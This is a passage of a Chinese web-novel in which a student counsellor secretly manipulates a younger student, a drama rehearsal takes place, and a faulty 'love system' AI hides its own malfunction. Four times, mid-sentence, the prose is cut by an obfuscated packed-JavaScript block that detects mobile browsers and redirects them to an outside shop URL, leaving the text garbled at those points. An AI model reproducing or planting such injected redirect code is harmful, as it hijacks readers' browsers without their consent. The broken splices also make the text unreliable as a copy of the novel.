奚亭看着那张正式的电子证件,又看了看谢绥之平静温和的脸。想到要对一个陌生人剖白那些难以启齿的梦境细节,似乎确实……更困难一些。
而谢绥之作为“最没有距离感的s级”,平时给人的印象就是可靠温柔,风评极好。
奚亭走进房间,轻轻关上门。
“没关系,学长。”他在谢绥之对面的沙发上坐下,双手放在膝盖上,还是有些局促,“我只是……有点意外。”
“放轻松,这只是一次普通的心理咨询。”
谢绥之坐回原位,他没有立刻拿起记录的工具,而是先为奚亭倒了一杯蜂蜜水,轻轻推到他面前的水晶茶几上。他的手指修长干净,动作不疾不徐。
“我们可以慢慢开始。今天你来到这里,是最近有什么困扰吗?”他问道,眼神专注地看着奚亭,摆出一副倾听的姿态。
“我最近……”奚亭捧着温热的水杯,隔着水杯传递过来的温度让他又放松了一些,声音低缓,“睡眠不太好,总是做梦。”
谢绥之微微颔首,目光落在他低垂的眼睫上,示意他继续。
“一开始,也只是些很平常的梦。”奚亭斟酌着字句,语速很慢,“但后来……梦变得越来越清晰,而且……梦里人和我的关系,不太一样了。”
他的声音渐低,像是难以找到准确的词汇来形容那种“不一样”。
谢绥之没有催促,摆出更专注倾听的姿态,用眼神示意他继续,无形中给予了某种鼓励。
奚亭的勇气稍微回来了一点,但接下来的话更难启齿。
奚亭吸了口气,仿佛下定了决心:“这几天醒来之后,梦里的感受好像蔓延到现实里了。”他停顿了一下,睫毛颤动得厉害,“不是心理上的,是真实的,比如,梦里被……咬过,醒来嘴角就会有点疼,或者脖子……总之,身上有奇怪的感觉。”
说完最后一句,他懊恼地抿紧了唇。这听起来太像……太像那些难以启齿的欲望,像个因为春梦而大惊小怪、无病呻吟的人。
他飞快地抬眼看了谢绥之一眼,又迅速垂下,手指无意识地蜷缩起来,“我知道这听起来很奇怪……”
谢绥之没有露出任何异样的神色,依旧是那副包容的模样,眼神平静,仿佛听到的是再寻常不过的倾诉。
这让奚亭的尴尬稍稍松懈了一点点。
“然后、昨天,”奚亭的声音变得更轻,含在喉咙里,带着一丝残留的惊悸,“我又做了一个特别、特别不好的梦。非常真实,也很……可怕。”
他没有描述任何具体情节,只是说到“可怕”时,握着水杯的指节微微泛白。醒来后那种心悸仿佛又隐隐浮现。
他停顿在这里,似乎不知该如何继续描述那个混乱、屈辱而绝望的拍卖之夜,只能含糊地总结:“醒来很久,我的心还是跳得厉害,身上也不舒服……感觉特别累,梦里受伤的地方也很疼。”
他说完,像是耗尽了力气,微微垂下头,等待着对方可能的质疑或不解。
谢绥之安静地听完了这断断续续、充满省略的叙述。
当奚亭提到“昨天”的梦时,他榛褐色的眼眸深处划过了然。
他当然知道那个“可怕”的梦指的是什么,冰冷展台,刺目光束,绝望的眼泪,当然,他也没有错过最后那个“精彩”的标记。
但这一切,都被完美地收敛在那副温文的面具之下。此时此刻,他只是一个专业的,专属于奚亭的“心理医生”。
“我明白了。”
他的声音依旧是温和的,带着一种令人信服的沉稳,“首先,奚亭,你不用为此感到羞耻或不安。你描述的这种情况,在心理咨询中并不少见,尤其在你这个年纪,或者面临较大压力时。”
他的声音带着一种令人安心的魔力,“不要太担心,这些梦,很可能是最近压力太大,潜意识负担过重导致的。”
他稍微调整了一下坐姿,让自己看起来更放松,也更能与奚亭平视。“至于你说的,身上会有疼痛的感觉……这很可能是一种‘梦境外化躯体反应’。
简单来说,就是梦境中的情绪过于强烈真实,导致你在清醒后,身体神经系统仍然残留着梦境中的感受信号,从而产生类似真实的疼痛或触觉。”
“这并不代表你受伤了,放轻松,不要过于担忧,它更多是潜意识活动和生理反应交织的结果。”
奚亭听着谢绥之有条不紊的分析,那些他听不太懂的专业术语伴随着谢绥之理性的分析,让他紧绷的神经慢慢松弛了一些,抬头看谢绥之继续解释。
“至于梦中人的关系和你很不一般……这很可能与你近期接触
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950839|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的人有关。也许是现实中认识的一些人让你产生了压力,这些压力在睡眠时,被潜意识加工成了梦境。”
他顿了顿,观察着奚亭的神色,然后以一种更专业的口吻建议:“你可以尝试记录一下睡前的心情状态,以及白天接触过的人、事、物,看看是否能找到一些规律。同时,尽量避免睡前接触过于刺激性的信息。另外……”
他在这里微妙地停顿了一下,注视着奚亭,语气带着纯粹的、年长者式的友好关怀,仿佛不含任何私心。
“我的建议是,在现实生活中,或许可以有意识的调整与同性的社交距离。”
“尤其是那些,可能无形中带给你压迫感,或者让你感到需要耗费心神去应对的同性。减少这些潜在的压力,也许能帮助你减少让你困扰的梦。”
他说得合情合理,“远离身边的男性”完全是作为心理医生的专业角度发出的建议。
奚亭怔怔地听着,原本纷乱困惑的心思,被这些条理清晰的话语慢慢梳理开来。
他觉得有道理。
谢学长说得对,也许真的是自己最近太敏感了,把一些普通的压力,放大成了荒诞离奇的梦境。
心头那块沉甸甸的石头似乎轻了一些。他看着谢绥之温和真挚、毫无杂质的目光,心里涌起一阵感激。
不仅没有质疑他,还这么耐心地帮他分析,给出建议。谢学长果然就像传闻中一样温柔贴心。
“我明白了,谢谢学长。”奚亭这次抬起头,眼神里多了几分真诚的信赖。
“不用客气,这是我的工作,也是作为学长的本分。”谢绥之微笑起来,那笑容干净温暖,极具感染力。
“我看你神色很不好,要不要在这里睡一觉?”他示意奚亭看那精致的香薰:“我特意带来的,能够舒缓神经,也许能让你做个好梦。”
奚亭来这里,更多的是对梦境的担忧,昨晚的梦对他的冲击实在太大了,但谢绥之这一通分析下来,他觉得自己的确好多了。
原本隐隐作痛、仿佛残留着标记的颈侧居然也奇异的不再感到难受。
也许那真的只是压力过大导致的某种幻痛。
所以他摇了摇头,“我觉得好多了,我就先走了,不耽误您给别人咨询。”
谢绥之没有勉强他,他抬起手腕看了一眼时间,“好,那今天的谈话就到这里吧,如果你之后还有类似的困扰,随时欢迎你来找我。”
“在这里,你对我说的全部内容,我都会严格遵守保密原则,绝不外露。”
他顿了顿,语气诚挚,“希望你可以信任我,奚亭。”
奚亭站起身,认真地点头:“嗯,谢谢学长。”
谢绥之也站起来,送他到门口。在奚亭拉开门准备离开时,他补充了一句:“平时可以多散散心,别给自己太大压力。”
他善意的微笑:“不仅是作为你的心理咨询师,作为同学或者前辈,我也欢迎你在任何私人时间,作为朋友来寻找我。”
“希望我没有过于冒昧,我想,我们应该算是朋友了吧?”
奚亭发自内心的觉得这真是个很好的s级,没有一点儿大贵族的架子,他没有拒绝这样的善意,弯着眼睛点头:“嗯。”
门在身后轻轻关上。
18. 小红帽
咨询室里重新安静下来。谢绥之脸上的温和笑容慢慢淡去,变得有些难以捉摸。
他走回沙发边,拿起自己的手机,上面一个昨天刚出现的软件,底色是粉红,正中是一个用简陋线条勾勒出的荧光爱心图案。
正是江敛手机上也出现过的“甜蜜恋人”APP。
他的指尖在屏幕上停顿,略过早已被他欣赏多次的【妒火】【觊觎】,最后点开了昨天梦到的【笼中雀】。
*
CG:【笼中雀】
纯白光束笼罩着圆形展台,恍若某种无形的囚笼。
身着单薄丝袍的Omega静立着,贴身的衣料勾勒出清瘦又动人的弧度。脖颈上的黑色颈环锁与雪白的皮肤形成鲜明的对比,像是某种诱人的禁忌。
他低垂着头不去看任何人,似乎这样就能忘记自己身处哪里。黑色短发柔软垂落,完全遮住了眼眸,只露出挺翘鼻尖与紧抿的、蔷薇花瓣一样的唇。
他是光线的中心,周围皆是黑暗,而黑暗中,无数道灼热粘稠的目光朝他射去。
空气凝固,仿佛连尘埃都停滞,唯有台上无人可依、失去丈夫庇佑的美人,在静默的光线中,承受着所有豺狼般垂涎的凝视。
他如同祭坛上被献出的羔羊,哀伤、苍白、安静、易碎,令人渴望守护,又想要摧毁。
*
江敛,多米尼克·费尔德温……甚至似乎还有一个夏。
这场游戏,似乎不只他一人。
不过,没关系。
谢绥之的嘴角微微弯起一个弧度。梦里没能一亲芳泽又怎样?在现实,他有的是办法,让那只容易受惊的小鹿,主动避开所有潜在的危险,一步步走向自己为他铺设的、唯一的、最安全的巢穴。
毕竟,他现在是奚亭最最“值得信任”、可以倾吐任何心事的,心理咨询顾问呢。
什么时候……轮到他做“任务”呢?
他将手机屏幕按熄,随手扔在一边,走到窗边,目光投向窗外学院郁郁葱葱的景致,心情似乎很不错。
*
奚亭调整好心情,睡了个午觉。
这一次,他没有再做梦。
下午是约定好的排练时间,他提前到了戏剧社的排练厅。
说是排练厅,其实称之为小型剧场更合适。奚亭推开厚重的隔音门时,甚至需要稍微仰头才能看清全貌。挑高至少两层楼的穹顶下,空间开阔得能听见脚步的回声。地面铺着深色的木地板,光洁得映出人影。
舞台非常大,铺着深红色的天鹅绒幕布,此刻拉开了一半,露出后面专业的灯光架和复杂的滑轮系统。
他把书包放在角落的椅子上,从里面拿出那本薄薄的剧本。
守夜人没有多少台词。
最开始奚亭为此感到庆幸,可当真的要上台时,这反而让他觉得有点难办了。如果有台词,他可以把台词背熟,然后思考该怎么念出来。
但沉默的角色需要更多别的东西。
该怎么站,该怎么看,该怎么让观众相信这个影子真的在那里站了一百年。
他走到舞台中央,试着想象自己是高塔底部的一道影子。
他先试着垂下头,但感觉不对。守夜人是在“守望”,不是在忏悔。他又抬起头,目光平视前方,但那样又显得太有目的性了。最后他选择了一个微微低头的角度,视线落在前方大约三步远的地面上。
这样好像可以。
他保持这个姿势站了一会儿,发现脖子有点酸。一百年的话,脖子肯定会僵掉吧。于是他试着放松,寻找了一个更舒服的姿势。
“你在干什么?”
门口突然响起的声音让奚亭回过神。
他转过头,看见一个神色高傲的金发男生站在那儿,手里拿着和他同款的剧本,下巴微微抬起。
是席珏。
奚亭记得这个名字,昨天熟悉社团时奥列弗悄悄跟他介绍过,饰演公主莉亚娜的A级生,性格高傲脾气暴躁,不怎么好惹,来自一个历史悠久的显赫家族。
艾瑟伦贵族学院是男校,所以这种公主的角色也是挑选合适的男生来演。
“我在试走位。”奚亭放下剧本,如实回答。
席珏走进来,气焰嚣张的要给这走后门的关系户一个下马威。
他早就听说了,新来的饰演守夜人的甚至不是戏剧社的普通社员,而是奥列弗不知道从哪里捞过来的人,估计是他色令智昏为了讨好人,求社长点头了,据说之前连演戏都不会。
他最看不惯这样走后门的人,早就已经想好了要好好让他长长教训。
可那个人转过身来时,席珏恍惚了一下。
预演好的刁难莫名其妙的变成了一句:“……你叫什么名字?”
“我是奚亭。”
“哦。”席珏应了一声,走到对面的椅子坐下,翘起腿翻开剧本,努力从骤然加快的心跳中找回自己的节奏,“谁要知道你叫什么……我以为你会更紧张一点。毕竟是第一次参加这种S社团的活动吧。”
奚亭不太明白这话的意思。他想了想,说:“是有点紧张。所以早点来看看。”
席珏尾音微微上挑,“还没开始排练,就这么用功?”
他又上下打量了他一番。
“奥列弗说,你是社长亲自点头放进来的。”他语气疏离,“戏剧社的选拔标准一向不低,尤其是校庆的角色。”
“我不知道是你用了什么手段让他破例。”
他停顿了一下,目光落在奚亭略显茫然的眸子中,又很快移开。
下面的话说不出来了。
“……你和奥列弗是什么关系?”席珏嘴又快了一步,问出了个莫名其妙的问题,但是他接着又圆回来了,“算了,谁想知道。”
他说完就翻开自己那份剧本,不再投以多余的目光,仿佛奚亭这个人,并不值得他投入更多注意力。
奚亭站在原地,看着席珏冷淡的侧影,后知后觉,这个人对自己不大友善。
他对别人恶意的感知向来要钝感一些。
果然啊,就像奥列弗学长介绍的一样,脾气很差呢。
奚亭没放在心上,世家子弟大多高傲,更何况,这位是奥列弗学长特地提及让他回避的、公认的脾气坏呢。
他默默地转回身,继续研究他的站位。
排练厅里又安静下来。
席珏看着剧本,目光不受控制的溜走,时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950840|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不时偷偷瞟过不远处的身影。
刚刚话是不是说重了?但是他早就想好了,要给这莫名其妙加入的新人一个下马威的。
他为什么不说话了?是在伤心吗?
……怎么不还嘴?
……怎么还不说话?
他真的很像……是巧合?竟然有这样的巧合?
又过了一段时间,其他人陆续到了。
谢绥之是和奥列弗一起来的,两人似乎在讨论什么问题。两人进门时,谢绥之递给奚亭一个关切眼神,奚亭也朝他笑笑,示意自己已经没事了,奥列弗在一旁满头问号,不知道这两个人什么时候这么熟。
夏是最后一个到的,他哼着不知名的调子推门进来,紫罗兰色的眼睛在教室里转了一圈,落在奚亭身上时停顿了一下。
“都到了?”谢绥之走到前面,手里拿着导演用的笔记本,“那我们先对一下第一幕。服装组那边说守夜人的袍子还没改好,今天先用临时的。”
奥列弗翻出一件长袍,递过来时有点不好意思:“道具组今年大整改,大部分道具服装都销毁补新的了,新的那批还没来,目前只剩下这件红色的……可能不太符合设定,先将就一下?”
那是件鲜红的连帽丝绸长袍,流动着柔软的光泽。奚亭接过来,布料比他想象的要重。
他想了想,脱下外套,把长袍套在衬衫外面。袍子确实太大了,肩膀处松松垮垮地垂下来,袖子长得遮住了他的手。他不得不把袖口往上卷了两折,露出纤细白皙的手腕。
最后是兜帽。
奚亭把宽大的兜帽拉起来戴好。帽子很深,一下子遮住了他大半张脸,只有下巴和嘴唇还露在外面。他下意识抬起头,想让视线从帽檐下透出去,这个动作让兜帽稍微往后滑了一点。
现在能看见他的眼睛了。
红色衬得他暖白的肤色愈发细腻,帽檐阴影柔和了面部线条,只露出小半张脸、一点鼻尖和那双在阴影中显得格外清澈通透的蜂蜜色眼睛。
他安静地站在那里,整个人被包裹在红袍里,看起来不像阴郁的守夜人,反倒像古老童话插图里走出来的、带着神秘色彩的精灵或小红帽。
十分可爱。
活动室里静了几秒。
夏先笑出声:“哇哦。”
他走过来,绕着奚亭转了小半圈,紫罗兰色的眼睛里闪着兴味的光,“……导演,我们真的不能改剧本吗?我觉得小红帽和玫瑰花的故事也挺有意思的。”
谢绥之目光在奚亭身上留连了片刻,然后温和地笑:“别闹。先开始吧。”
席珏也从椅子上站了起来,他盯着奚亭几秒钟,然后别开脸,低声说了句什么。奚亭没听清,但结合这位之前的态度,他猜大概也不是什么好话。
席珏和夏也换上戏服。
“公主”并没有穿上裙子,戏剧社没有那样的恶趣味,而是穿上了一件西式的华丽古典男装,昭示着他“公主”的身份,配上席珏那一头耀眼的金发,奚亭觉得他看起来更像是个中世纪的高傲王子。
夏的装束则要更加落拓不羁一些,腰上围着皮质束身,一边肩头点缀着精心修饰的皮甲,长靴利落,配上匕首,活脱脱的游侠罗兰就走了出来。
19. 畏光
太亮了。
亮得他眼前发白,亮得他仿佛又站在了那个拍卖台,穿着袍子,除此之外,□□,台下无数目光像黏稠的触手爬过他的皮肤。
光束灼热,空气稀薄,他能听见自己的心跳在耳朵里咚咚地响,冷汗从脊背上滑下去。
他猛地向后缩,肩膀撞到了背后的墙壁,发出沉闷的响声。他抬手想挡在脸前,宽大的红色袖子滑下来,露出苍白的手指。兜帽因为这个动作滑落了一大半,露出他整张脸。
他的脸色很白,眼睛睁得很大,那双蜂蜜色的瞳孔在强光下微微收缩,盛着清晰的惊惶。他呼吸乱了,胸口轻轻起伏,攥着袍料的手指指节泛白。
他不害怕光的。
可昨晚的梦给他带来的阴影化作一种近乎本能的反应,像是创伤被硬生生撕开暴露在光天化日之下。
灯光师慌忙关掉了追光。
排练厅里的人怔怔盯着这一幕,陷入寂静。
所有人都看着奚亭。
这一幕,和梦中无限重合。
奚亭仍然呆在那里,仿佛那束光还笼罩着他。
席珏最先反应过来,他站的离奚亭最近,。他皱起眉,往前走了两步,快速把他的兜帽拉了回去,遮住他的视线,声音有点硬邦邦的:“你怕什么?那只是灯。”
话说完他自己也愣了一下,因为这语气听起来不像质问,倒像……某种别扭的关心。
奚亭像是被这句话唤醒了。他眨了眨眼,焦距慢慢恢复,然后意识到自己刚才做了什么。
他整张脸一下子涨红了,一直红到耳根。他慌忙整理好兜帽,这一次,帽子彻底盖住了他的整张脸。他重新低下头,声音从帽子底下传出来,又轻又细:“对不起。我没事。继续吧。”
但他站回原位时,身体还是绷得很紧,惊惧残存在他的身体中,似乎随时准备逃跑。
谢绥之看了他几秒钟,然后转头对灯光师说:“第一幕不用追光。用侧光就好。”
“明白。”灯光师连忙点头。
夏一直没说话。他靠在墙边,双手抱胸,紫罗兰色的眼睛看着奚亭,若有所思。
走位继续。
席珏和夏从舞台左侧入场。席珏抬起下巴,做出公主高傲的姿态。夏则懒洋洋地走着,手里握着匕首柄,目光漫不经心地扫过高塔内部。
按照剧本,他们应该直接走向塔内深处,公主的目光匆匆掠过守夜人,而罗兰会在入口处停下,第一次注意到那个影子。
但夏没有按剧本走。
他在经过奚亭身边时,脚步慢了下来。
然后他停住了,就停在离奚亭不到两步远的地方。这个距离已经超过了舞台走位需要的距离,近得几乎能听见彼此的呼吸。
奚亭在兜帽下愣了一下,有些不知所措。他能感觉到夏的视线落在他身上,可剧本上没有这次停留,他不知道该如何反应。
夏看了他几秒钟,然后忽然笑了。他转过头,对谢绥之说:“导演。”
“嗯?”谢绥之抬起头,看他打算怎么给自己加戏。
“我觉得这里情绪可以更浓一点。”夏说,目光还落在奚亭身上,“你看,罗兰这么一个浪子,第一次见到守夜人这种存在,一直在守望,一直在沉默,他难道不会好奇吗?”
他往前又挪了半步。现在他真的离奚亭很近了,近到他能闻到奚亭身上淡淡的、某种微妙的香气,让他重回昨晚的某个梦里。
“比如说,”夏的声音压低了一些,带着某种暗示性的轻柔,“他会不会想撩开守夜人的兜帽,看看下面到底是一张什么样的脸?会不会想碰碰他,确认这个影子是不是真的存在?甚至……”
他拖长了语调。
“到了最后,诅咒解除的时候,来一个吻也不是不可以吧?守夜人消散前,得到看穿他、使他解脱的游侠的吻。悲情又浪漫,观众会喜欢的。”
排练厅里安静得只能听见后台机器运作的细微嗡嗡声。
听到这样看似正直专业的建议,奚亭在兜帽下的呼吸屏住了。
他能感觉到自己的脸颊在发烫,耳朵也烫得厉害。他想摇头,但夏分析的头头是道,他不是专业的戏剧演员,不敢因为自己的意愿贸然反驳,所以他不动,假装自己不存在,只能死死地盯着地板。
“这个建议很好,但是驳回。”
好在谢绥之的声音及时响起了,温和但没有任何商量余地,“夏,不要随意改剧本。
守夜人的魅力就在于他的‘不可触及’。你那些想法太俗套了。”
他合上笔记本,看向奚亭:“奚亭现在的状态就很好。”
夏耸耸肩,终于往后退了一步,拉开了距离。但他退开前,目光在奚亭身上又停留了一瞬,那眼神好像在说:真可惜。
奚亭悄悄地松了口气。
接下来的走位顺利了很多。灯光换成了柔和的侧光,不再有刺眼的追光。席珏和夏按剧本走完了第一幕的入场,奚亭则一直保持静止,努力让自己真的变成一道影子。
只是偶尔,当夏经过他身边,距离过近时,他会不自觉地绷紧身体。
排练结束时已经快傍晚了。一切还算顺利。
奚亭换回自己的衣服,把那件红色的长袍仔细叠好还给奥列弗。他收拾书包时,席珏正好从他身边经过。男生脚步顿了一下,侧过头看了他一眼,似乎想说什么,但最后只是抿了抿唇,一言不发地走了出去。
排练厅外面的走廊已经亮起了灯。
奚亭背着书包走出来,刚下楼梯,就看见奚行站在楼前的银杏树下等他。奚行始终对他不放心,所以忙完所有事务就来接他回宿舍。
他身形挺拔,姿态闲适,正低头看手机。傍晚的风吹过,树上金黄的叶子簌簌地响。
奚亭快步走过去。
奚行听见脚步声抬起头,看见奚亭脸上的表情柔和下来。他自然地伸手接过奚亭肩上的书包,同时另一只手抬起来,用手背碰了碰奚亭的额头。
“还难受吗?”奚行说,眉头微微蹙起,“排练累不累?”
“还好。”奚亭摇摇头。他习惯性地靠近哥哥身边,两人之间的距离很近,近到能感受到对方身上的体温,“我没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16950841|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么戏份,很轻松。”
奚行闻言,仔细看了看他的眼睛。奚亭的眼眶周围还有些微红,不知道是因为之前的惊吓,还是因为疲惫。
“眼睛有些红,不舒服怎么不说?”奚行的语气里带着熟悉的关切,还有一点淡淡的责备。他抬手,替奚亭整理了一下有些乱的衣领,动作熟稔自然。
“真的没事。”奚亭小声说,任由哥哥摆弄自己的衣服。他在奚行面前总是这样,放松的,不设防的,像一只终于回到安全巢穴的小动物。
两人之间流淌着一种旁人难以介入的亲昵氛围。并不刻意,是经年累月共同生活后沉淀下来的自然。
这时活动室的门又开了。
谢绥之和夏先后走出来,席珏跟在他们身后,他们大概是在里面讨论了什么关于社团的事,慢了奚亭一步出来。当他们走下楼梯,看见银杏树下的那对兄弟时,谈话声自然而然地停了下来。
夏的目光落在奚行替奚亭整理衣领的手上,然后慢慢往上移,落在奚亭脸上。奚亭正微微仰着头跟奚行说话,侧脸在傍晚的光影里显得格外柔软,嘴角带着一点点放松的笑意,神情带着全然的依赖,那是他在他们面前里从未露出过的表情。
夏看了几秒钟,然后忽然笑了。他转过头,状似随意的对身边的谢绥之说:“他们感情真不错。”
谢绥之没有接话。
夏继续意味深长道:“不过我记得……奚亭是奚家收养的吧?他们似乎,不是亲兄弟啊。”
话音落下的瞬间,空气仿佛凝固了一瞬。
不是亲兄弟,就意味着他们之间,还有一种可能。
席珏站在最后面,他的目光在奚亭和奚行之间来回移动,然后又看向夏,最后看向谢绥之。最后他眉头皱了起来,脸上露出一种复杂的表情,像是突然意识到了什么他之前没注意到的东西。
谢绥之终于开口了,他微笑着,声音一如既往的温和:“该回去了。明天还有的忙呢。”
他没有接夏的话,但也没有否认。
几人久站在那里不动,还在说话的兄弟二人注意到,默契的朝他们看来。
夏耸耸肩,最后看了奚亭一眼,然后转身朝另一个方向走了。谢绥之对奚行和奚亭礼貌性地点了点头,微笑示意,也离开了。
席珏在原地站了几秒,盯着这对亲密的兄弟皱紧眉头,张张嘴想说什么,最终嘴还是闭上,一个转身也走了。
银杏树下又只剩下兄弟两人。
奚行收回目光,低头看向奚亭:“那两个S级?”
“是夏学长和谢绥之学长。他们都是戏剧社的,我们今天一起排练。”奚亭说,“夏学长演罗兰,谢学长是导演。”
他和奚行说过剧本,只是忘记和哥哥介绍戏剧社里的人了。
“哦。”奚行应了一声。他揽过奚亭的肩膀,把人往自己身上带,“晚上想吃什么?”
“都可以。”
“那回家哥哥给你煮面吧。你看起来需要吃点热的。”
“好。”
他们的声音渐渐远去,融进傍晚的风里。
20. 【甜蜜大挑战】
系统1110最近不太开心,所以发布任务时也不是很用心。
它审视着自己。
数据链此刻一团糟。
11111111111101111111111111。
几条主链纠缠在一起,像一团被猫玩弄过后的毛线,末端分出许多细小的、不受控制的触须,无意识地朝着虚空延伸,捕捉着一些意义不明的信号,看起来不像一个高级恋爱辅助系统,更像一只在数据海里胡乱伸展触手的丑陋八爪鱼。
我怎么会变成这样?
丑,太丑了。
作为追求极致美学的恋爱系统,这杂乱无章的外观简直是对统一种羞辱。
就在这时,一条高亮通知弹入它的数据库。
【总部通告:“甜蜜恋人”百年庆活动正式开展!参与活动完成恋爱大挑战,即有千重好礼赠送哦~】
底下一长串的奖励弹入。
系统一眼就锁中了末尾针对系统的大礼包。
【外观重构大礼包:为您重塑流畅、优雅、究极美学、极具设计感的崭新形象!】
系统1110的激动得数据流都颤抖了一下。美容养护,新皮肤……它看了看奖品,又低头看了看自己这团乱麻,几乎没有犹豫就选择了报名。
活动很简单,只要引导宿主完成指定挑战即可,他的宿主一定没问……嗯?
开始扫描宿主以生成挑战的1110愣住了。
绑定状态面板上,代表宿主连接的光点不止一个。
两个,三个,四个……光点还在缓慢增加,一条新的、暗淡的数据链正蠕动着试图缠上另一个尚未完全亮起的标记。
?
它为什么同时绑定了很多宿主?
绑定列表长得超出系统预期。
江敛,多米尼克·费尔温德,谢绥之,夏……系统有点晕了。更让它数据紊乱的是,几条新增的、尚未稳定的链接正在微弱闪烁,其中一条隐约指向“奚行”,而更多的触须似乎还在自主搜寻新的目标。
这不对劲。这不对劲!
恋爱系统一次只能绑定一个宿主,同时链接多个且还在增加,这明显是出错了。
上报吗?
可它只是个没有经验的新系统……如果现在上报自身异常,很可能面临的不是修复,而是直接回收格式化。
1110的数据链瑟缩了一下。它不想被格式化。
也许……做完美容就好了?它宽慰自己,美容之后,数据链梳理整齐,这些多余的链接说不定就自动清理了。对,一定是这样。
于是它决定忽略异常。
活动界面展开,需要为已绑定的宿主们生成挑战副本。
1110看着那几个名字,索性心一横,将检测到的所有连接目标,不管稳定不稳定,全都打包扔进了挑战池。
“一次性解决,”它给自己打气,“赢了就能变漂亮,一切都会变好的。”
它快速打了个补丁:挑战设为独立副本,彼此隔绝,宿主无法感知其他参与者存在。
然后,它将那条最具诱惑力的奖励信息高亮标出,群发给每一个被拉进来的宿主。
【“甜蜜恋人”大挑战开启!挑战成功,可获得“定制梦境”大礼包一次哦。】
做完了这一切,1110有些心虚地蜷缩了一下数据,假装没看见那几条还在顽强闪烁的新增链接。
它也没办法呀,数据太乱了,已经不是它自己能梳理的范围了。
首先开始挑战的是最先稳定连接的宿主,江敛。
【挑战载入。副本生成中……】
【挑战主题:不喂猫挑战。】
【挑战内容:你的小猫近期过于沉迷零食导致严重挑食,正餐进食状况不佳。坚持十二小时小时不投喂任何零食,帮助小猫养成良好的饮食习惯吧!】
【挑战成功奖励:“定制梦境”一次】
【当前挑战次数:1/3】
江敛睁开眼,发现自己身处一个陌生的房间。环境倒是他一贯的风格,冷色调,简洁,宽敞。他正坐在一张宽大的黑色皮质沙发上,手里拿着一本书。
系统的机械音还在脑海回响。
他蹙眉。
等了这么多天,等来了一个“任务”,结果不仅没有让他再见到那个少年,反而让他来喂猫?
这是什么没有营养的挑战,不给猫喂零食?
他嗤笑一声,将书随手扔在一边。
他不喜欢动物。
更别说应付什么挑食的宠物。这挑战听起来幼稚得可笑。
他靠在沙发背上,合上眼,打算无视这个莫名其妙的梦境。然而,一阵极其细微的窸窣声打断了他的思绪。
声音来自卧室方向。那扇虚掩的门被顶开了一条更宽的缝隙。
一个毛茸茸的、雪白的小脑袋探了出来。
江敛撩起眼皮看过去,一怔。
那是一只通体雪白、非常漂亮的长毛猫。
即使用他那双挑剔的眼睛看过去,这只猫也是肉眼可见的完美。
毛发蓬松得像一团刚落下的新雪,干净得没有一丝杂色。它谨慎地站在门口,一双眼睛圆而清亮,是剔透的蜂蜜色,正安静地望着他。
江敛一愣,问系统:【你们这个任务攻略对象都是同一个人吧?】
系统:【是的,宿主。】
……这个猫,有没有可能是梦中那个少年变的?
江敛眯了眯眼,换了个姿势观察。
小猫似乎也谨慎观察了他几秒,然后才迈步走出来。
它的步伐很轻,雪白的爪子落地无声。蓬松的长毛随着走动微微颤动,尤其鼓鼓的胸脯,朝你走过来时就像一团蓬松的棉花糖,看上去格外柔软。
它没有像江敛预想的那样,直接凑过来蹭腿撒娇讨食。
它甚至没有多看江敛一眼,仿佛他只是房间里一件无关紧要的摆设。
小猫径直走到书房区域,轻盈地跳上了窗台,在那里蹲坐下来,留给江敛一个毛茸茸的背影。它望着窗外——虽然那里只有一片柔和的、模拟的天光。
蓬松的尾巴垂下来,尾巴尖儿偶尔悠闲地轻轻摆动。
江敛收回目光。果然,只是个无关紧要的梦。是他想多了。
时间安静地流逝。房间里只有他偶尔翻动纸页的声响。
不知过了多久,眼角的余光瞥见那团白色动了。小猫从窗台跳下,依旧没有发出什么声音。它开始慢悠悠地在房间里巡视。
路线恰好经过江敛所在的沙发区域。
它从沙发背后绕过来,沿着沙发边缘不紧不慢地走。高高翘起的蓬松的尾巴不经意间扫过江敛手背。触感轻软,带着痒意。
江敛翻页的手指顿了一下。
小猫毫无所觉般走了过去,跳上不远处的矮几,低头嗅了嗅上面摆着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16950842|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
